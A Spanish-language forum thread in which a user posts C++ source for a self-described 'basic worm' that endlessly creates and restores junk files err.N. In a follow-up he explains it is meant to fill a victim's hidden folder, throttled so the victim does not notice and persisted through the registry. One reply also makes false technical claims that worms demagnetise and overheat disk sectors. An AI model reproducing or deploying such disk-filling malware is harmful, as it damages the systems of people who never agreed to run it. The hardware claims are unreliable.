Worm básico en C++

Iniciado por zikotik, 10 Enero 2014, 17:45 PM

0 Miembros y 1 Visitante están viendo este tema.

zikotik

Hola gente, les dejo un pequeño código de un worm básico que hice hace un rato en C++.
Modifíquenlo a su gusto, y cualquier duda, pregunten...

Si usan linux, desactiven la librería windows.h y activen la librería unistd.h, en caso contrario, déjenlo como está.

La variable mls, sirve para que después de cada loop, el worm espere x cantidad de milisegundos; 0 para desactivarlo o pongan otro valor.

La variable txt, es para escribir en cada archivo que creará el worm.

La variable blq, tiene el valor del nombre del archivo a crear.

Código (cpp) [Seleccionar]
#include <fstream>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
//#include <unistd.h>

using namespace std;

int main(){
int i = 1;
int dat = 0;
int mls = 125;
char buf[35];
char txt[41] = "err[32030950ab769812b57c164cdab5138e]\n";

while(i != 0){
char blq[44] = "err.";
strcat(blq,itoa(dat,buf,10));

ifstream arch (blq);

if(!arch){
ofstream arch (blq);
arch << txt;
arch.close();
Sleep(mls);
} else {
arch.close();
}

dat++;
}

}

0xDani

¿Qué se supone que ha de hacer este código?
I keep searching for something that I never seem to find, but maybe I won't, because I left it all behind!

I code for $$$
Hago trabajos en C/C++
Contactar por PM

ivancea96

Qué tiene que ver con un worm? :o

Enviado desde mi ST21i mediante Tapatalk

zikotik

Lo que hace este código es buscar un archivo basuro con el nombre "err" con el número de id dado por la variable "dat" (que en realidad sería la extensión del archivo pero en números), en cuyo caso no exista, lo crea. Una vez que crea el archivo, espera 125 milisegundos y comienza nuevamente el loop (en realidad se puede sacar el Sleep(), pero consumiría muchísima ram y la víctima se daría cuenta de que está infectada).

Si se borra algún archivo basura, al ser ejecutado nuevamente el worm (suponiendo que está agregado al registro), busca entre los archivos basura si hay algún faltante, en caso de ser así, lo reconstruye y continua buscando y escribiendo.

La idea principal es que ocupe espacio en alguna carpeta oculta del hdd sin afectar tanto a la ram.

Un ejemplo gráfico de su funcionamiento sería:

err.0 find
err.1 find
err.2 find
err.3 find
err.4 find
err.5 not found
err.5 made
err.6 not found
err.6 made


Tal funcionamiento es así para no perder tanto tiempo en la escritura de archivos. Perdés un poco de tiempo buscando los archivos no creados si es ejecutado nuevamente, pero el tiempo es mucho menos que al escribir cada uno de estos aunque ya existan.

dato000

eso no es un gusano, solo crea archivos.

Un gusano llena directamente los datos del cluster sin respetar jerarquias, solo llena de mugre el disco dañando los sectores, los desmagnetiza, calienta y jode el circuito.

O si va con memoria lo que hace es reventar el head y resevar memoria como loco sin dejar al sistema operativo como seguir corriendo.

De todas maneras tanto linux como windows (desde win 7) ya saben como lidiar con eso y terminan la depuración cuando ve algún loop de ese estilo, y lo manda a un archivo de paginación (>win 7) o a la swap (linux) y lo limita de tal manera de que si llega a llenarse tal espacio, detiene el programa y deja de ensamblar el archivo, así de simple.

Pues tu intención es buena, y que bueno el entusiasmo, pero ese titulo es puro amarillismo.



ivancea96

La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD

zikotik

Cita de: ivancea96 en 11 Enero 2014, 19:08 PM
La base de un worm, es multiplicarse y moverse por redes, entre otras.
Eso que tienes ahí, yo lo calificaría como virus.
Por cierto, para que usas la variable 'i'? No te valdría poner while(1==1)? xD

Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...
Gracias por la data, y respecto a lo de la clasificación, tienen razón, no es un gusano, me puse a leer bien en wikipedia las diferencias entre los distintos tipos y malinterpreté.

MCKSys Argentina

Cita de: zikotik en 13 Enero 2014, 12:47 PM
Nunca se me había ocurrido lo del "1==1", me ahorro una variable y una suma...

Tambien puedes usar While(True)

Saludos!
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."


ivancea96

En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Enviado desde mi ST21i mediante Tapatalk

MCKSys Argentina

Cita de: ivancea96 en 13 Enero 2014, 14:28 PM
En C no hay "true", no es verdad? (quizás me equivoque, yo soy hijo de C++)

Citar
Boolean type

C99 added a boolean (true/false) type (_Bool) which is defined in the <stdbool.h> header. Additionally, the standard requires that macros are defined to alias the type as bool as well as providing macros for true and false.

Source: http://en.wikipedia.org/wiki/C_data_types

Saludos!

PD: C11 es el standar hoy día, e incluye a C99: http://en.wikipedia.org/wiki/ANSI_C
MCKSys Argentina

"Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."